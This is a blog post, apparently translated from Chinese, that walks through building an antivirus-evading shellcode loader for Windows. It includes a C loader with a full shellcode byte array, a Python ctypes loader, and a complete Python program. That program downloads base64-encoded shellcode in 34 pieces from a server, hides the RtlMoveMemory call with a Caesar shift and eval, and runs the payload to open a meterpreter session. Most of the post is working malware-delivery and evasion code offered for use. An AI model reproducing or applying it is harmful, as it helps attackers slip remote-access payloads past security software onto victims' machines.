About Caesar's password encryption eigenvalue, base64 encrypts shellcode and separates software

Posted by Jenling on Fri, 21 Jan 2022 03:53:07 +0100

What is shellcode?

In a hacker attack, shellcode is a short piece of code used to exploit software vulnerabilities as payloads. It is called "shellcode" because it usually starts a command shell from which an attacker can control a compromised computer, but any code that performs similar tasks can be called shellcode. Because the function of payload is not limited to shell generation, some people think that the name of shellcode is not rigorous enough. However, attempts to replace the term have not been widely accepted. Shell code is usually written in machine code.

C/C + + loading mode

#include "stdafx.h"
#include "windows.h"
using namespace std;
int main(int argc, char **argv){   
         unsigned char buf[] =        "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"        "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"        "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"        "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"        "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"        "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"        "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"        "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"        "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"        "\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"        "\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5"        "\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"        "\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";    
 void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);    memcpy(exec, buf, sizeof buf);    
 ((void(*)())exec)();   
  return 0;
  }

Python way

#!/usr/bin/python
import ctypes  
shellcode=bytearray("\xfc\xe8\x89\x00\x00\x00\x60\x89......")  
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                    
 buf,                                     ctypes.c_int(len(shellcode)))  
 ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_int(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

How can we avoid killing?

1.shellcode is not written on a pure page
2. Multiple encoding methods of shellcode are confused
3.shellcode encrypts him
4. Add flower command to disturb AV analysis
5. Bypass the characteristic code of specific soft kill collection

Now let's get to the point


kali generates a shellcode

base64 encryption of our shellcode with python

Then I will divide the shellcode into 34 blocks and send a GET request using python's import requests to GET the shellcode stored on the Apache 2 server (not written on the page)


In the prepared Trojan shellcode program, if you use ctypes windll. kernel32. RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes. c_ Int (len (shellcode)), where the API function rtlmovememory has been recorded by tinder. Even if shellcode is encrypted by base 64

But 360 is exempt

Tinder means:
As long as RtlMoveMemory has this eigenvalue, I don't recognize my father

Then it's time for our Caesar code to work

What is the Caesar code?

Caesar encryption is to realize encryption and decryption by moving letters by A certain number of digits. All letters in plaintext are shifted backward (or forward) by A fixed number on the alphabet and replaced with ciphertext. For example, when the offset is 2, all letters B will be replaced with D, C will become E, and so on, Y will become A and Z will become B. It can be seen that the offset is the key of Caesar password encryption and decryption


Caesar encrypts the characteristic values collected by tinder

The corresponding is the ASCII of the string, plus the offset k

This is Caesar's decryption

The restored string is obtained from the execution effect

Use eval to load the restored shellcode obtained by Caesar decryption into memory

kali enable listening

python execution

The attacked host bounces the meterpreter. This process has been completed without any poison reporting. The shellcode is encrypted by base 64 and stored in our server. When it is loaded, it is decrypted to realize the separation of shellcode, and then the characteristic value of our Trojan horse is encrypted by Caesar. When eval, it is decrypted by Caesar, applied for memory and loaded into memory

The Base 64 encryption and decryption program is shown in the picture above. The complete main program is as follows:

# -*- coding:utf-8 -*-
from ctypes import *
import ctypes
import sys, os, time, base64
import string
import requests
# shellcode String passing base64 The code is divided into 34 blocks and stored on a server# get the encoded shellcode string in the request mode
res1 = requests.get("http://192.168.2.100/res1.txt")
res2=requests.get("http://192.168.2.100/res2.txt")
res3 = requests.get("http://192.168.2.100/res3.txt")
res4 = requests.get("http://192.168.2.100/res4.txt")
res5 = requests.get("http://192.168.2.100/res5.txt")
res6 = requests.get("http://192.168.2.100/res6.txt")
res7 = requests.get("http://192.168.2.100/res7.txt")
res8 = requests.get("http://192.168.2.100/res8.txt")
res9 = requests.get("http://192.168.2.100/res9.txt")
res10 = requests.get("http://192.168.2.100/res10.txt")
res11 = requests.get("http://192.168.2.100/res11.txt")
res12 = requests.get("http://192.168.2.100/res12.txt")
res13 = requests.get("http://192.168.2.100/res13.txt")
res14 = requests.get("http://192.168.2.100/res14.txt")
res15 = requests.get("http://192.168.2.100/res15.txt")
res16 = requests.get("http://192.168.2.100/res16.txt")
res17 = requests.get("http://192.168.2.100/res17.txt")
res18 = requests.get("http://192.168.2.100/res18.txt")
res19 = requests.get("http://192.168.2.100/res19.txt")
res20 = requests.get("http://192.168.2.100/res20.txt")
res21 = requests.get("http://192.168.2.100/res21.txt")
res22 = requests.get("http://192.168.2.100/res22.txt")
res23 = requests.get("http://192.168.2.100/res23.txt")
res24 = requests.get("http://192.168.2.100/res24.txt")
res25 = requests.get("http://192.168.2.100/res25.txt")
res26 = requests.get("http://192.168.2.100/res26.txt")
res27 = requests.get("http://192.168.2.100/res27.txt")
res28 = requests.get("http://192.168.2.100/res28.txt")
res29 = requests.get("http://192.168.2.100/res29.txt")
res30 = requests.get("http://192.168.2.100/res30.txt")
res31 = requests.get("http://192.168.2.100/res31.txt")
res32 = requests.get("http://192.168.2.100/res32.txt")
res33 = requests.get("http://192.168.2.100/res33.txt")
res34 = requests.get("http://192.168.2.100/res34.txt")
def main():
       shellcode = base64.b64decode(res1.text + res2.text + res3.text + res4.text + res5.text + res6.text + res7.text + res8.text + res9.text + res10.text + res11.text + res12.text + res13.text + res14.text + res15.text + res16.text + res17.text + res18.text + res19.text + res20.text + res21.text + res22.text + res23.text + res24.text + res25.text + res26.text + res27.text + res28.text + res29.text + res30.text + res31.text + res32.text + res33.text + res34.text)
       kill = bytearray(shellcode)
       ptr=   ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                      ctypes.c_int(len(kill)),                              ctypes.c_int(0x3000),                                      ctypes.c_int(0x40))
       buf = (ctypes.c_char        *len(kill)).from_buffer(kill)
       flag = [105, 122, 127, 118, 107, 121, 52, 125, 111, 116, 106, 114, 114, 52, 113, 107, 120, 116, 107, 114, 57, 56, 52, 88, 122, 114, 83, 117, 124, 107, 83, 107, 115, 117, 120, 127, 46, 105, 122, 127, 118, 107, 121, 52, 105, 101, 123, 111, 116, 122, 60, 58, 46, 118, 122, 120, 47, 50, 38, 104, 123, 108, 50, 38, 105, 122, 127, 118, 107, 121, 52, 105, 101, 111, 116, 122, 46, 114, 107, 116, 46, 113, 111, 114, 114, 47, 47, 47]
       flag1 = ''
       for i in flag:
                flag1 += chr((i) - 6)
        eval(flag1)
        
      ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                               ctypes.c_int(0),
                                     ctypes.c_int(ptr),                       ctypes.c_int(0),                                     ctypes.c_int(0),                                     ctypes.pointer(ctypes.c_int(0)))
               
if __name__ == '__main__':
         main()